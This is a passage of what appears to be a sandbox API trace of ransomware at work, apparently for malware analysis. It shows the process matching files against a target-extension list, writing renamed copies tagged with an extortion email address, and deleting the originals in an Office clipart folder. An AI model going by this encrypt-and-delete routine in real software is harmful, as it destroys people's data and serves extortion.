	[0164.209] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.209] SetEndOfFile (hFile=0x454) returned 1
	[0164.209] CloseHandle (hObject=0x454) returned 1
	[0164.209] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.209] SetEndOfFile (hFile=0x458) returned 1
	[0164.213] CloseHandle (hObject=0x458) returned 1
	[0164.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0164.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.214] lstrlenW (lpString=".doc") returned 4
	[0164.214] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.214] lstrlenW (lpString=".docx") returned 5
	[0164.214] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0164.214] lstrlenW (lpString=".pdf") returned 4
	[0164.214] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.214] lstrlenW (lpString=".xls") returned 4
	[0164.214] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.214] lstrlenW (lpString=".xlsx") returned 5
	[0164.214] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0164.214] lstrlenW (lpString=".ppt") returned 4
	[0164.214] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.214] lstrlenW (lpString=".zip") returned 4
	[0164.215] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.215] lstrlenW (lpString=".rar") returned 4
	[0164.215] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.215] lstrlenW (lpString=".bz2") returned 4
	[0164.215] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.215] lstrlenW (lpString=".7z") returned 3
	[0164.215] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.215] lstrlenW (lpString=".dbf") returned 4
	[0164.215] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.215] lstrlenW (lpString=".1cd") returned 4
	[0164.215] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.215] lstrlenW (lpString=".jpg") returned 4
	[0164.215] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.215] lstrlenW (lpString=".doc") returned 4
	[0164.215] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.215] lstrlenW (lpString=".docx") returned 5
	[0164.215] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0164.215] lstrlenW (lpString=".pdf") returned 4
	[0164.215] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.215] lstrlenW (lpString=".xls") returned 4
	[0164.215] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.215] lstrlenW (lpString=".xlsx") returned 5
	[0164.215] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0164.215] lstrlenW (lpString=".ppt") returned 4
	[0164.215] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.215] lstrlenW (lpString=".zip") returned 4
	[0164.215] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.215] lstrlenW (lpString=".rar") returned 4
	[0164.215] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.216] lstrlenW (lpString=".bz2") returned 4
	[0164.216] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.216] lstrlenW (lpString=".7z") returned 3
	[0164.216] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.216] lstrlenW (lpString=".dbf") returned 4
	[0164.216] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.216] lstrlenW (lpString=".1cd") returned 4
	[0164.216] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0164.216] lstrlenW (lpString=".jpg") returned 4
	[0164.216] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.216] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.216] lstrlenW (lpString="J0099165.JPG") returned 12
	[0164.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.217] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=50490) returned 1
	[0164.217] CloseHandle (hObject=0x458) returned 1
	[0164.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0164.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.220] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.220] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0164.221] GetLastError () returned 0x0
	[0164.221] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xc53a, lpOverlapped=0x0) returned 1
	[0164.246] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xc540, lpOverlapped=0x0) returned 1
	[0164.248] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.248] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.248] SetEndOfFile (hFile=0x454) returned 1
	[0164.248] CloseHandle (hObject=0x454) returned 1
	[0164.248] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.248] SetEndOfFile (hFile=0x458) returned 1
	[0164.257] CloseHandle (hObject=0x458) returned 1
	[0164.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.258] lstrlenW (lpString=".doc") returned 4
	[0164.258] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.258] lstrlenW (lpString=".docx") returned 5
	[0164.258] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0164.258] lstrlenW (lpString=".pdf") returned 4
	[0164.258] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.258] lstrlenW (lpString=".xls") returned 4
	[0164.258] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.258] lstrlenW (lpString=".xlsx") returned 5
	[0164.258] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0164.258] lstrlenW (lpString=".ppt") returned 4
	[0164.258] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.258] lstrlenW (lpString=".zip") returned 4
	[0164.258] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.258] lstrlenW (lpString=".rar") returned 4
	[0164.258] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.258] lstrlenW (lpString=".bz2") returned 4
	[0164.258] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.258] lstrlenW (lpString=".7z") returned 3
	[0164.258] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString=".dbf") returned 4
	[0164.259] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString=".1cd") returned 4
	[0164.259] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString=".jpg") returned 4
	[0164.259] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString=".doc") returned 4
	[0164.259] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.259] lstrlenW (lpString=".docx") returned 5
	[0164.259] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0164.259] lstrlenW (lpString=".pdf") returned 4
	[0164.259] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.259] lstrlenW (lpString=".xls") returned 4
	[0164.259] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.259] lstrlenW (lpString=".xlsx") returned 5
	[0164.259] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0164.259] lstrlenW (lpString=".ppt") returned 4
	[0164.259] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString=".zip") returned 4
	[0164.259] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.259] lstrlenW (lpString=".rar") returned 4
	[0164.259] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.259] lstrlenW (lpString=".bz2") returned 4
	[0164.259] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.259] lstrlenW (lpString=".7z") returned 3
	[0164.259] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.259] lstrlenW (lpString=".dbf") returned 4
	[0164.260] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.260] lstrlenW (lpString=".1cd") returned 4
	[0164.260] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0164.260] lstrlenW (lpString=".jpg") returned 4
	[0164.260] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.260] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.260] lstrlenW (lpString="J0099166.JPG") returned 12
	[0164.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.260] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=64767) returned 1
	[0164.260] CloseHandle (hObject=0x458) returned 1
	[0164.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0164.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.261] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.261] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0164.262] GetLastError () returned 0x0
	[0164.262] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0164.530] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xfd00, lpOverlapped=0x0) returned 1
	[0164.532] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.533] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.533] SetEndOfFile (hFile=0x454) returned 1
	[0164.533] CloseHandle (hObject=0x454) returned 1
	[0164.533] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.533] SetEndOfFile (hFile=0x458) returned 1
	[0164.537] CloseHandle (hObject=0x458) returned 1
	[0164.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.183] lstrlenW (lpString=".doc") returned 4
	[0165.183] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0165.183] lstrlenW (lpString=".docx") returned 5
	[0165.183] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0165.183] lstrlenW (lpString=".pdf") returned 4
	[0165.183] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0165.183] lstrlenW (lpString=".xls") returned 4
	[0165.183] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0165.183] lstrlenW (lpString=".xlsx") returned 5
	[0165.183] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0165.183] lstrlenW (lpString=".ppt") returned 4
	[0165.183] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.183] lstrlenW (lpString=".zip") returned 4
	[0165.183] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0165.183] lstrlenW (lpString=".rar") returned 4
	[0165.183] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0165.183] lstrlenW (lpString=".bz2") returned 4
	[0165.183] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0165.183] lstrlenW (lpString=".7z") returned 3
	[0165.183] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.183] lstrlenW (lpString=".dbf") returned 4
	[0165.183] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0165.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.183] lstrlenW (lpString=".1cd") returned 4
	[0165.184] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.184] lstrlenW (lpString=".jpg") returned 4
	[0165.184] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.184] lstrlenW (lpString=".doc") returned 4
	[0165.184] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0165.184] lstrlenW (lpString=".docx") returned 5
	[0165.184] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0165.184] lstrlenW (lpString=".pdf") returned 4
	[0165.184] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0165.184] lstrlenW (lpString=".xls") returned 4
	[0165.184] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0165.184] lstrlenW (lpString=".xlsx") returned 5
	[0165.184] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0165.184] lstrlenW (lpString=".ppt") returned 4
	[0165.184] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.184] lstrlenW (lpString=".zip") returned 4
	[0165.184] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0165.184] lstrlenW (lpString=".rar") returned 4
	[0165.184] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0165.184] lstrlenW (lpString=".bz2") returned 4
	[0165.184] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0165.184] lstrlenW (lpString=".7z") returned 3
	[0165.184] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0165.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.185] lstrlenW (lpString=".dbf") returned 4
	[0165.185] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0165.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.185] lstrlenW (lpString=".1cd") returned 4
	[0165.185] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0165.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0165.185] lstrlenW (lpString=".jpg") returned 4
	[0165.185] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0165.185] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.185] lstrlenW (lpString="J0099175.WMF") returned 12
	[0165.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.239] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=9744) returned 1
	[0165.239] CloseHandle (hObject=0x440) returned 1
	[0165.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220
	[0165.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.242] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.242] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0165.243] GetLastError () returned 0x0
	[0165.243] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2610, lpOverlapped=0x0) returned 1
	[0165.245] WriteFile (in: hFile=0x470, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2620, lpOverlapped=0x0) returned 1
	[0165.247] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
